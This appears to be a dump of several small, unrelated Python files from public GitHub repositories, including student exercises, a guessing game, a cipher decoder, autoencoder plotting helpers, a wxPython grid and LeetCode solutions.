#C:\\Users\\chili\\OneDrive\\Escritorio\\FACULTAD\\POO\\ej2\\ \r\n reader=csv.reader(archivo,delimiter=\",\")\r\n for fila in reader:\r\n numero=int(fila[0])\r\n dni=fila[1]\r\n nombre=fila[2]\r\n apellido=fila[3]\r\n millas_acum=int(fila[4])\r\n unViajero=Viajero(numero,dni,nombre,apellido,millas_acum)\r\n listaViajero.append(unViajero)\r\n archivo.close()\r\n\r\n for i in range (len(listaViajero)):\r\n\r\n print(listaViajero[i])\r\n\r\n numero_v=int(input(\"Ingrese numero de viajero:\"))\r\n i=0\r\n otroViajero=listaViajero[i]\r\n num=int(otroViajero.getNumero())\r\n while ((i<=(len(listaViajero)-1))and(numero_v!=num)):\r\n i+=1\r\n otroViajero=listaViajero[i]\r\n num=int(otroViajero.getNumero())\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n opcion=0\r\n def menu():\r\n opc=int(input(\"Menu Principal\\n\"+\r\n \"1)Consultar Millas\\n\"+\r\n \"2)Acumular Millas \\n\"+\r\n \"3)Canjear Millas\\n\"+\r\n \"4)Finalizar\\n\"+\r\n \"Seleccione una opcion\\n\"))\r\n return opc\r\n while opcion!=4:\r\n opcion=menu()\r\n if opcion==1:\r\n print(\"La cantidad total de millas es:{}\".format(otroViajero.cantidadTotalMillas()))\r\n if opcion==2:\r\n cant=int(input(\"Ingresar cantidad de millas para acumular:\"))\r\n otroViajero.acumularMillas(cant)\r\n print(\"La cantidad total de millas actualizado es:{}\".format(otroViajero.cantidadTotalMillas()))\r\n if opcion==3:\r\n cant2=int(input(\"Ingresar cantidad de millas para canjear:\"))\r\n otroViajero.canjearMillas(cant2)\r\n print(\"La cantidad total de millas actualizado es:{}\".format(otroViajero.cantidadTotalMillas()))\r\n\r\n\r\n\r\n \r\n\r\n \r\n \r\n\r\n\r\n\r\n","repo_name":"SosaCristina/Ejercicio2-U2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10392310899","text":"import streamlit as st\r\nimport time\r\nfrom streamlit_extras.switch_page_button import switch_page\r\nimport random\r\n\r\ndatper = st.session_state['datper']\r\ndatrpre = st.session_state['datrpre']\r\nprecon = st.session_state['precon']\r\nselpre = st.session_state['selpre']\r\ndatperXdon = st.session_state['datperXdon']\r\ndones = st.session_state['dones']\r\n\r\n#st.write(dones)\r\nst.header('Test de Dones - Autoevaluación')\r\ncol1, col2 = st.columns(2)\r\ncol1.info(datper[1])\r\n#col2.warning('🔀 \t 🔀 \t 🔀🔀 \t 🔀 \t 🔀')\r\ncol2.info(datper[3])\r\n\r\nst.subheader(selpre[1])\r\ndon = selpre[0]\r\n#st.write(datperXdon)\r\nfor t in datperXdon:\r\n if t[0]==don:\r\n encontrado = True\r\n break\r\n else:\r\n encontrado = False\r\n#st.write('encontrado = ', encontrado)\r\n# Número 1 = no mucho o nada; Número 2 = un poquito; Número 3 = algo; Número 4 = mucho\r\n#selecion = st.radio('opciones',[0,'poco','bajo','alto','mucho'], horizontal=True, index=0)\r\n\r\n# ------>> lineasel = st.slider(label='porcentaje',min_value=0,max_value=100)\r\nvlinea = random.randint(1,100)\r\nlineasel = st.slider(label='porcentaje',min_value=0,max_value=100, value=vlinea)\r\n\r\n# lineasel = st.slider(label='porcentaje',min_value=0,max_value=100)\r\nif lineasel==0: selecion='-'\r\nelif lineasel in range(0,30): selecion='poco'\r\nelif lineasel in range(30,50): selecion='bajo'\r\nelif lineasel in range(50,75): selecion='alto'\r\nelse: selecion='mucho'\r\nst.latex(selecion)\r\nif lineasel>0:\r\n precon.append(selpre)\r\n datrpre.remove(selpre)\r\n if selecion=='poco': valor = 5\r\n elif selecion=='bajo': valor = 10\r\n elif selecion=='alto': valor = 15\r\n else: valor = 20\r\n # st.write('Don = ',don)\r\n if encontrado==False:\r\n nr = [don, valor]\r\n datperXdon.append(nr)\r\n #st.write(encontrado)\r\n #st.write(datperXdon)\r\n else:\r\n #st.write(encontrado)\r\n for t in datperXdon:\r\n if t[0]==don:\r\n t[1]+=valor\r\n st.text(t[0]+' <-> '+str(t[1]))\r\n #st.write('Debe marcar alguna opción')\r\nelse:\r\n st.warning('Debe registrar un porcentaje')\r\n st.stop()\r\nwith st.empty():\r\n for seconds in range(2):\r\n st.write(f\"⏳\")\r\n time.sleep(1)\r\n st.write(\"✔️\")\r\n st.session_state['precon']=precon\r\n st.session_state['dartpre']=datrpre\r\n\r\nswitch_page('preguntas02')\r\n","repo_name":"pjluispb/profad","sub_path":"pages/espera1.py","file_name":"espera1.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"130579743","text":"import random\r\nyn = 'Y'\r\nprint ('Hello what is your name?')\r\nname = input()\r\ndef game():\r\n print ('What would you like the range of your numbers to be?')\r\n print ('High Number')\r\n highNum = input()\r\n print ('Low Number')\r\n lowNum = input()\r\n secretNum = random.randint(int(lowNum), int(highNum))\r\n print ('The number I\\'m thinking of is between ' + str(lowNum) + ' and ' + str(highNum))\r\n guess = secretNum+1\r\n i = 0\r\n while int(guess) != secretNum:\r\n print ('What is your guess?')\r\n guess = input()\r\n i = i + 1\r\n if int(guess) > secretNum:\r\n print ('Too High')\r\n elif int(guess) < secretNum:\r\n print ('Too low')\r\n elif int(guess) == secretNum:\r\n print ('You Win!')\r\n\r\n\r\n print ('Great Job ' + name + ' the secret number is ' + str(secretNum) + ' It took you ' + str(i) + ' tries to guess the number')\r\n print('Would you like to play again?')\r\n yn = input()\r\n if yn == 'Y':\r\n game()\r\n elif yn != 'Y':\r\n print ('Thanks for playing!')\r\n exit()\r\n\r\n\r\ndef toPlay():\r\n yn = 'Y'\r\n while yn != 'N':\r\n print ('Hello ' + name + ' I\\'m computer would you like to play a fun game? Y/N')\r\n yn=input()\r\n if yn == 'Y':\r\n game()\r\n else:\r\n yn = 'N'\r\ntoPlay()\r\n","repo_name":"simplyadamg/learnPython","sub_path":"1Game.py","file_name":"1Game.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13066076893","text":"from itertools import zip_longest\n\n\ndef decode_amsco(message, key):\n key_str = str(key)\n key_len = len(key_str)\n column_indices = {int(a): list() for a in key_str}\n msg_len = len(message)\n dex = 0 # index of current position in message\n cnt = 1 # either 1 or 2 for chunk size out of message\n key_dex = 0\n first = None # first in row, makes columns alternate 1 or 2 length\n while dex < msg_len:\n mod = key_dex % key_len\n if mod == 0 and first is None: # very first\n first = cnt\n elif mod == 0 and first is not None: # first in following rows\n cnt = 2 if first == 1 else 1\n first = cnt\n\n if dex + cnt > msg_len: # if +2 is too much\n cnt = 1\n\n column_indices[int(key_str[mod])].append(cnt)\n dex += cnt\n cnt = 2 if cnt == 1 else 1\n key_dex += 1\n\n msg_dex = 0\n matrix = {b: list() for b in key_str}\n for k, v in column_indices.items(): # go through indices, get slices\n current_key = str(k)\n matrix[current_key] = list()\n for index in v: # append slices from message\n matrix[current_key].append(message[msg_dex:msg_dex+index])\n msg_dex += index\n\n return ''.join(''.join(line) for line in zip_longest(\n *(matrix[a] for a in key_str), fillvalue=''))\n\nif __name__ == '__main__':\n assert decode_amsco(\"oruoreemdstmioitlpslam\", 4123) \\\n == \"loremipsumdolorsitamet\", \"Lorem Ipsum\"\n assert decode_amsco('kicheco', 23415) == \"checkio\", \"Checkio\"\n assert decode_amsco('hrewhoorrowyilmmmoaouletow', 123) \\\n == \"howareyouwillhometommorrow\", \"How are you\"\n","repo_name":"a1ip/Check_iO","sub_path":"Mine/amsco_cipher.py","file_name":"amsco_cipher.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20059934175","text":"import sys\r\nn = input()\r\na = list(input().split())\r\n\r\ndef poss(a1, a2):\r\n if len(a1) < len(a2):\r\n return (None, None)\r\n if len(a2) == 1 and int(a1) > 0:\r\n return (0, '0')\r\n if int(a1) > int('1' + a2[1:]):\r\n return (0, '1'+a2[1:])\r\n for i in range(1, len(a2)):\r\n if int(a1) > int(a2[:i]+'0'+a2[i+1:]):\r\n return (0, a2[:i]+'0'+a2[i+1:])\r\n for i in range(0, len(a1)):\r\n if int(a2) < int(a1[:i]+'9'+a1[i+1:]):\r\n return (-1, a1[:i]+'9'+a1[i+1:])\r\n return (None, None)\r\n\r\nfor i in range(1, len(a)):\r\n j, s = poss(a[i-1], a[i])\r\n if s is not None:\r\n a[i+j] = s\r\n print(' '.join(a))\r\n sys.exit()\r\n\r\nprint('impossible')","repo_name":"hmku/icpc","sub_path":"wi21_quals/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36755986764","text":"import face_recognition\n\n# [[image_bytes], [image_bytes], [image_bytes]]\ndef extractFaceMultiple(imageFileStreamList):\n imageEncoding = []\n for imageStream in imageFileStreamList:\n imageFile = face_recognition.load_image_file(imageStream)\n imageEncoding.append((face_recognition.face_encodings(imageFile))[0])\n \n return imageEncoding\n\ndef extractFaceEncoding(imageFileStream):\n imageFile = face_recognition.load_image_file(imageFileStream)\n imageEncoding = face_recognition.face_encodings(imageFile)\n \n return imageEncoding\n\n# encoding_for_file.resize((2, 128)) # Resize using your command","repo_name":"ks-manu/photonet","sub_path":"services/service_extract_face_encoding.py","file_name":"service_extract_face_encoding.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"14141237543","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n\nimport scipy.interpolate as interp\nimport seaborn as sns\nimport umap\n\nimport torch\nfrom torch import optim\n\nfrom functions import vae_loss_function, vqvae_loss_function, gumbel_loss_function\nfrom autoencoders import VAE, DiscreteLatentVAE, GumbelVAE, VectorQuantizedVAE, AutoEncoder\nfrom utils import enumerate_discrete_latent\n\nARGS = {'batch_size': 128,\n 'epochs': 3,\n 'device': 'cpu',\n 'log_interval': 100,\n 'data_distribution': 'bernoulli',\n 'data_samples': 120000,\n 'train_test_split': 0.3,\n 'lr': 1e-4,\n 'n_latents': 6,\n 'latent_dim': 30,\n 'categorical_dim': 5,\n 'optimizer': 'adam',\n 'reduction': 'mean',\n 'features': 360}\n\ndef find_rectangle(area):\n b, l = 0, 0\n M = np.int(np.ceil(np.sqrt(area)))\n ans = 0\n for i in range(M, 0, -1):\n if area%i == 0:\n l = area//i\n b = i\n break\n return b, l\n\ndef test_random_sample(model, test_loader, args):\n model.eval()\n org, noisy_org = iter(test_loader).next()\n org, noisy_org = org[0].view(1, 1, args[\"features\"]), noisy_org[0].view(1, 1, args[\"features\"])\n if isinstance(model, VectorQuantizedVAE):\n recon, _, _ = model(noisy_org)\n elif isinstance(model, GumbelVAE):\n recon, _ = model(noisy_org)\n elif isinstance(model, VAE):\n recon, _, _ = model(noisy_org)\n elif isinstance(model, AutoEncoder):\n recon = model(noisy_org)\n\n reshapeD1, reshapeD2 = find_rectangle(args[\"features\"])\n # reshapeD1 = int(np.sqrt(args[\"features\"]))\n # reshapeD2 = int(args[\"features\"]/reshapeD1)\n org_reshaped, noisy_org_reshaped, recon_reshaped = (org.numpy()[0][0].reshape(reshapeD1, reshapeD2),\n noisy_org.numpy()[0][0].reshape(reshapeD1, reshapeD2),\n recon.detach().numpy()[0][0].reshape(reshapeD1, reshapeD2))\n if isinstance(model, DiscreteLatentVAE):\n print(\"Discrete Label: \", model.encode(noisy_org, enumerate_labels=True)[0])\n fig, (ax1, ax2, ax3) = plt.subplots(1, 3)\n ax1.imshow(org_reshaped)\n ax2.imshow(noisy_org_reshaped)\n ax3.imshow(recon_reshaped)\n return fig, (ax1, ax2, ax3)\n\ndef plot_loss_graphs(logs, args, train=True, test=True, fig=None, ax=None):\n train_logs, test_logs = logs\n if (fig is None) or (ax is None):\n fig, ax = plt.subplots(1, 3, figsize=(16, 4))\n x = np.linspace(0, args[\"epochs\"], len(train_logs[0]))\n for i, axi in enumerate(ax):\n if train:\n axi.plot(x, train_logs[i])\n test_log = np.asarray(test_logs[i])\n test_log_interp = interp.interp1d(np.arange(test_log.size), test_log)\n test_log_stretch = test_log_interp(np.linspace(0, test_log.size-1, x.size))\n if test:\n axi.plot(x, test_log_stretch)\n # n_test = int(x.size*(1.0-1.0/args[\"epochs\"]))\n # test_log_stretch = test_log_interp(np.linspace(0, test_log.size-1, n_test))\n # if test:\n # axi.plot(x[x.size - n_test:], test_log_stretch)\n axi.grid()\n return fig, ax\n\n\n# def visualize_latents(model, test_dataset, args):\n# model.eval()\n# continuous_code_list = []\n# discrete_code_list = []\n# plt_dataloader = torch.utils.data.DataLoader(test_dataset, batch_size = 1, shuffle=True)\n# for i in range(len(plt_dataloader.dataset)):\n# org, noisy_org = plt_dataloader.dataset.__getitem__(i)\n# org, noisy_org = org[0].view(1, 1, 360), noisy_org[0].view(1, 1, args[\"features\"])\n# if isinstance(model, VectorQuantizedVAE):\n# _, con_code, _ = model(noisy_org)\n# elif isinstance(model, GumbelVAE):\n# _, con_code = model(noisy_org)\n# elif isinstance(model, VAE):\n# con_code, _ = model.encode(noisy_org)\n# elif isinstance(model, AutoEncoder):\n# con_code = model.encode(noisy_org)\n# else:\n# raise ValueError(\"specified model is not implemented.\")\n# continuous_code_list.append(con_code.detach().numpy().reshape(args[\"n_latents\"]*args[\"latent_dim\"]))\n# if isinstance(model, DiscreteLatentVAE):\n# disc_code = model.encode(noisy_org, enumerate_labels=True)[0]\n# discrete_code_list.append(disc_code)\n#\n# visualizer = umap.UMAP(min_dist=0.0)\n# embedding = visualizer.fit_transform(np.asarray(continuous_code_list))\n#\n#\n# fig, ax = plt.subplots()\n# if isinstance(model, DiscreteLatentVAE):\n# unique_codes = np.unique(np.asarray(discrete_code_list))\n# num_unique_codes = len(unique_codes)\n# colors = cm.rainbow(np.linspace(0, 1, len(unique_codes)))\n#\n# code_count = np.zeros(num_unique_codes)\n#\n# for i, code in enumerate(unique_codes):\n# idx = np.where((np.asarray(discrete_code_list) == code))\n# code_embedding = embedding[idx]\n# code_count[i] = code_embedding.shape[0]\n# ax.scatter(code_embedding[:, 0], code_embedding[:, 1], c=[colors[i]], s = 1);\n# print(\"num codes used: {}/{}\".format(num_unique_codes,\n# enumerate_discrete_latent(np.ones(args[\"n_latents\"])*(args[\"categorical_dim\"]-1),\n# categorical_dim = args[\"categorical_dim\"])))\n# ax.grid()\n# return fig, ax\n# else:\n# ax.scatter(embedding[:, 0], embedding[:, 1], s = 1);\n# ax.grid()\n# return fig, ax\n\n\n\ndef visualize_latents(model, test_dataset, args):\n model.eval()\n continuous_code_list = []\n discrete_code_list = []\n plt_dataloader = torch.utils.data.DataLoader(test_dataset, batch_size = 1, shuffle=True)\n for i in range(len(plt_dataloader.dataset)):\n org, noisy_org = plt_dataloader.dataset.__getitem__(i)\n org, noisy_org = org[0].view(1, 1, args[\"features\"]), noisy_org[0].view(1, 1, args[\"features\"])\n if isinstance(model, VectorQuantizedVAE):\n _, con_code, _ = model(noisy_org)\n con_code = con_code.detach().numpy().reshape(args[\"n_latents\"]*args[\"latent_dim\"])\n elif isinstance(model, GumbelVAE):\n _, con_code = model(noisy_org)\n con_code = con_code.detach().numpy().reshape(args[\"categorical_dim\"]*args[\"n_latents\"])\n elif isinstance(model, VAE):\n con_code, _ = model.encode(noisy_org)\n con_code = con_code.detach().numpy().reshape(args[\"latent_dim\"])\n elif isinstance(model, AutoEncoder):\n con_code = model.encode(noisy_org)\n con_code = con_code.detach().numpy().reshape(args[\"latent_dim\"])\n else:\n raise ValueError(\"specified model is not implemented.\")\n continuous_code_list.append(con_code)\n if isinstance(model, DiscreteLatentVAE):\n disc_code = model.encode(noisy_org, enumerate_labels=True)[0]\n discrete_code_list.append(disc_code)\n\n print(\"matrix dimensions: \", np.asmatrix(continuous_code_list).shape)\n print(\"rank: \", np.linalg.matrix_rank(np.asmatrix(continuous_code_list)))\n visualizer = umap.UMAP(min_dist=0.0)\n embedding = visualizer.fit_transform(np.asarray(continuous_code_list))\n\n if isinstance(model, DiscreteLatentVAE):\n unique_codes = np.unique(np.asarray(discrete_code_list))\n num_unique_codes = len(unique_codes)\n colors = cm.rainbow(np.linspace(0, 1, len(unique_codes)))\n\n code_count = np.zeros(num_unique_codes)\n # if isinstance(model, GumbelVAE):\n total_codes = enumerate_discrete_latent(np.ones(args[\"n_latents\"])*(args[\"categorical_dim\"]-1),\n categorical_dim = args[\"categorical_dim\"])\n # elif isinstance(model, VectorQuantizedVAE):\n # total_codes = enumerate_discrete_latent(np.ones(args[\"n_latents\"])*(args[\"categorical_dim\"]-1),\n # categorical_dim = args[\"categorical_dim\"])\n print(\"num codes used: {}/{} ({}%)\".format(num_unique_codes,\n total_codes, (num_unique_codes/total_codes)*100))\n\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 5))\n for i, code in enumerate(unique_codes):\n idx = np.where((np.asarray(discrete_code_list) == code))\n code_embedding = embedding[idx]\n code_count[i] = code_embedding.shape[0]\n ax1.scatter(code_embedding[:, 0], code_embedding[:, 1], c=[colors[i]], s = 1);\n ax1.grid()\n\n ax2.bar(np.arange(num_unique_codes), code_count, color=colors)\n ax2.set_yscale('log')\n ax2.grid()\n return fig, (ax1, ax2)\n else:\n fig, ax = plt.subplots()\n ax.scatter(embedding[:, 0], embedding[:, 1], s = 1);\n ax.grid()\n return fig, ax\n","repo_name":"uzairakbar/rl-obstacle-avoidance","sub_path":"src/rl_tb_lidar/src/utils/autoencoders/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":8824,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"67"} +{"seq_id":"20113266264","text":"# -*- coding:utf-8 -*-\nimport wx, wx.grid\nimport pyperclip\n\nclass WaveGridData(wx.grid.PyGridTableBase):\n _cols = \"水深 周期 波长\".split()\n _data = [ ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''], ['', '', ''],\n ]\n _highlighted = set()\n\n def GetColLabelValue(self, col):\n return self._cols[col]\n\n def GetNumberRows(self):\n return len(self._data)\n\n def GetNumberCols(self):\n return len(self._cols)\n\n def GetValue(self, row, col):\n return self._data[row][col]\n\n def SetValue(self, row, col, val):\n self._data[row][col] = val\n\n def GetAttr(self, row, col, kind):\n attr = wx.grid.GridCellAttr()\n attr.SetBackgroundColour(wx.GREEN if row in self._highlighted else wx.WHITE)\n\n def set_value(self, row, col, val):\n self._highlighted.add(row)\n self.SetValue(row, col, val)\n\n def clearhightlight(self):\n self._highlighted.clear()\n\n def clear(self):\n for r in range(0, self.GetNumberRows()):\n for c in range(0, self.GetNumberCols()):\n self._data[r][c] = ''\n self.clearhightlight()\n\nclass WaveFrame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None)\n self.Sizer = wx.BoxSizer(wx.VERTICAL)\n self.waveGrid = WaveGrid(self, id=-1, pos=(10,35), size=(400,300))\n self.Sizer.Add(self.waveGrid, 1, wx.EXPAND)\n\nclass WaveGrid(wx.grid.Grid):\n def __init__(self, parent, id, pos, size):\n wx.grid.Grid.__init__(self, parent, id, pos, size)\n self.data = WaveGridData()\n self.SetTable(self.data)\n self.SetSelectionMode(wx.grid.Grid.wxGridSelectCells)\n self.Bind(wx.grid.EVT_GRID_CELL_RIGHT_CLICK, self.onRightClick)\n self.Bind(wx.grid.EVT_GRID_RANGE_SELECT, self.onRangeSelect)\n self.chosedLeftCol = 0\n self.chosedRightCol = 0\n self.chosedTopRow = 0\n self.chosedBottomRow = 0\n\n def onRightClick(self, event):\n self.PopupMenu(GridPopupMenu(self), event.GetPosition())\n\n def onRangeSelect(self, event):\n if event.Selecting():\n self.chosedLeftCol = event.GetLeftCol()\n self.chosedRightCol = event.GetRightCol()\n self.chosedTopRow = event.GetTopRow()\n self.chosedBottomRow = event.GetBottomRow()\n\nclass GridPopupMenu(wx.Menu):\n def __init__(self, parent):\n super(GridPopupMenu, self).__init__()\n self.parent = parent\n\n mmi = wx.MenuItem(self, wx.NewId(), '复制')\n self.AppendItem(mmi)\n self.Bind(wx.EVT_MENU, self.OnCopy, mmi)\n\n cmi = wx.MenuItem(self, wx.NewId(), '粘贴')\n self.AppendItem(cmi)\n self.Bind(wx.EVT_MENU, self.OnPaste, cmi)\n\n def OnCopy(self, e):\n copytext = \"\"\n for row in range(self.parent.chosedTopRow, self.parent.chosedBottomRow + 1):\n for col in range(self.parent.chosedLeftCol, self.parent.chosedRightCol + 1):\n copytext = copytext + self.parent.data.GetValue(row, col) + \"\\t\"\n copytext = copytext[0:len(copytext)-1]\n copytext = copytext + \"\\n\"\n copytext = copytext[0:len(copytext)-1]\n pyperclip.copy(copytext)\n\n def OnPaste(self, e):\n self.parent.data.clearhightlight()\n row = self.parent.chosedTopRow\n col = self.parent.chosedLeftCol\n pastext = pyperclip.paste()\n for r in pastext.split(\"\\n\"):\n col = self.parent.chosedLeftCol\n for v in r.split(\"\\t\"):\n self.parent.data.set_value(row, col, v)\n col = col + 1\n if col > self.parent.chosedRightCol:\n break\n row = row + 1\n if row > self.parent.chosedBottomRow:\n break\n self.parent.Refresh()\n\ndef main():\n app = wx.PySimpleApp()\n app.TopWindow = WaveFrame()\n app.TopWindow.Show()\n app.MainLoop()\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"keshixi/Tool","sub_path":"model/wave/WaveGrid.py","file_name":"WaveGrid.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11206027833","text":"def eliminar_elemento(lista, elemento):\r\n # Crea una nueva lista que almacenará los elementos que no son iguales al elemento dado\r\n resultado = [item for item in lista if item != elemento]\r\n # Devuelve la nueva lista sin los elementos dados\r\n return resultado\r\n\r\n# Ejemplo de uso\r\nlista = [20, 30, 40, 20, 5, 100, 5, 20]\r\nelemento = 20\r\nprint(eliminar_elemento(lista, elemento)) # Imprime [30, 40, 5, 100, 5]\r\n\r\nlista = [\"perro\", \"gato\", \"sombrero\", \"gato\", \"zanahoria\"]\r\nelemento = \"gato\"\r\nprint(eliminar_elemento(lista, elemento)) # Imprime [ \"perro\", \"sombrero\", \"zanahoria\"]\r\n\r\n\r\n\r\n# Ejemplo 1\r\nlista = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 1, 2, 1]\r\nvalor = 1\r\nresultado = eliminar_elemento(lista, valor)\r\nprint(resultado)\r\n\r\n\r\n# Ejemplo 2\r\nlista = [\"manzana\", \"pera\", \"banana\", \"manzana\", \"kiwi\", \"manzana\"]\r\nvalor = \"manzana\"\r\nresultado = eliminar_elemento(lista, valor)\r\nprint(resultado)\r\n\r\n\r\n","repo_name":"josecuervoplus/Semana_4_UCR_2023","sub_path":"Semana_4_Ejercicio_3.py","file_name":"Semana_4_Ejercicio_3.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39652530492","text":"import math\nimport time\nimport Adafruit_CharLCD as Disp\n\n# setup the different pins the correspond to the GPIO inputs\ndisp_rs = 'P8_8'\ndisp_en = 'P8_10'\ndisp_d4 = 'P8_12'\ndisp_d5 = 'P8_14'\ndisp_d6 = 'P8_16'\ndisp_d7 = 'P8_18'\ndisp_illuminate = 'P8_7'\n\n# set the border\ndisp_cols = 16\ndisp_rows = 2\n\n# Initialize the CharLCD Framework\nLCD = Disp.Adafruit_CharLCD(disp_rs, disp_en, disp_d4, disp_d5, disp_d6, disp_d7, disp_cols, disp_rows, disp_illuminate)\n\n# Set the strings to be printed\nstring1 = \"This is a test.\\n\"\nstring2 = \"Another test 123\\n\"\n\n# Print the strings\nLCD.message(string1 + string2)\n\n# Wait for five seconds\ntime.sleep(5.0)\n\n# Clear the LCD of all characters\nLCD.clear()\n","repo_name":"tmartin293/Musical_Instrument_Classification","sub_path":"Display/lcd_test.py","file_name":"lcd_test.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"43030917561","text":"from django.db import models\nfrom django.contrib.auth.models import User\nclass vote(models.Model):\n one = models.TextField(max_length=255)\n oneimage = models.ImageField()\n onevote = models.IntegerField(default=0)\n two = models.TextField(max_length=255)\n twoimage = models.ImageField()\n twovote = models.IntegerField(default=0)\nclass vote_likes(models.Model):\n user = models.ForeignKey(User,on_delete=models.CASCADE)\n","repo_name":"mathavkrishnan/Vote-Mania","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12104070","text":"#!/usr/bin/env python\n\nimport argparse\nimport datetime\nimport re\nimport time\n\nFACTORS = {\n suffix: 1024**(i+1)\n for i, suffix in enumerate('KMGTP')\n}\n# no generator possible: dict size changed during iteration\nFACTORS.update([(k.lower(), v) for k, v in FACTORS.items()])\nFACTORS[None] = 1\n\n\ndef parse_human(size):\n \"\"\"Return number of bytes in\n\n >>> parse_human('12')\n 12\n >>> parse_human('1k')\n 1024\n \"\"\"\n\n m = re.match(r'(\\d+)(\\.\\d*)?([kmgtp]?)$', size, re.IGNORECASE)\n assert m, r'size must match (\\d+)(\\.\\d*)?([kmgtp]?)$'\n # print(m, m.groups())\n whole, frac, unit = m.groups()\n\n result = int(whole)\n if frac:\n result += float(frac)\n if unit:\n result *= FACTORS[unit]\n\n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('size')\n parser.add_argument('speed_per_second')\n args = parser.parse_args()\n\n num_bytes = parse_human(args.size)\n bauds = parse_human(args.speed_per_second)\n\n seconds = num_bytes / bauds\n print('ETA: {:.1f} seconds:\\n= {}'.format(seconds, datetime.timedelta(seconds=seconds)))\n print('ETD: {}'.format(datetime.datetime.now() + datetime.timedelta(seconds=seconds)))\n","repo_name":"tgandor/meats","sub_path":"network/how_long_to_download.py","file_name":"how_long_to_download.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"25135436938","text":"\"\"\"\nA company has n employees with a unique ID for each employee from 0 to n - 1.\nThe head of the company is the one with headID.\n\nEach employee has one direct manager given in the manager array where manager[i]\nis the direct manager of the i-th employee, manager[headID] = -1.\nAlso, it is guaranteed that the subordination relationships have a tree structure.\n\nThe head of the company wants to inform all the company employees of an urgent piece of news.\nHe will inform his direct subordinates, and they will inform their subordinates,\nand so on until all employees know about the urgent news.\n\nThe i-th employee needs informTime[i] minutes to inform all of his direct subordinates\n(i.e., After informTime[i] minutes, all his direct subordinates can start spreading the news).\n\nReturn the number of minutes needed to inform all the employees about the urgent news.\n\n\"\"\"\n\nfrom typing import List\nfrom collections import defaultdict, deque\n\nclass Solution:\n def numOfMinutes(self, n: int, headID: int, manager: List[int], informTime: List[int]) -> int:\n adj = defaultdict(list)\n for i in range(n):\n adj[manager[i]].append(i)\n\n #BFS\n q = deque([(headID, 0)]) # id, time\n res = 0\n while q:\n\n i, time = q.popleft()\n res = max(res, time)\n for emp in adj[i]:\n q.append((emp, time + informTime[i]))\n\n return res\n\n\nif __name__ == '__main__':\n n = 1\n headID = 0\n manager = [-1]\n informTime = [0]\n sol = Solution()\n result = sol.numOfMinutes(n, headID, manager, informTime)\n print(result)\n","repo_name":"ilyakuzmin9/leetcode","sub_path":"1376_time_needed_to_inform_all_employees.py","file_name":"1376_time_needed_to_inform_all_employees.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72220923732","text":"import re\n\n\ndef read_data():\n with open('d21.txt') as f:\n raw = f.read().strip()\n instructions = [(line[0], 